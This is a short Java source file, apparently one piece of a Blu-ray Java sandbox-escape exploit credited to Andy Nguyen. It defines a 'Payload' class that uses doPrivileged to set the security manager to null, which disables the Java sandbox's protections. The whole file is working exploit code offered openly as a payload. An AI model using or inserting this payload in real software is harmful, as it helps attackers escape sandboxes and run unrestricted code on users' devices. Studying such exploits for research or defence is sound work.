/* * Copyright (C) 2021 Andy Nguyen * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ package com.bdjb.exploit.sandbox; import java.security.AccessController; import java.security.PrivilegedActionException; import java.security.PrivilegedExceptionAction; /** Payload class that is loaded with all permissions in order to disable the security manager. */ public class Payload implements PrivilegedExceptionAction { public Payload() throws PrivilegedActionException { AccessController.doPrivileged(this); } public Object run() throws Exception { System.setSecurityManager(null); return null; } }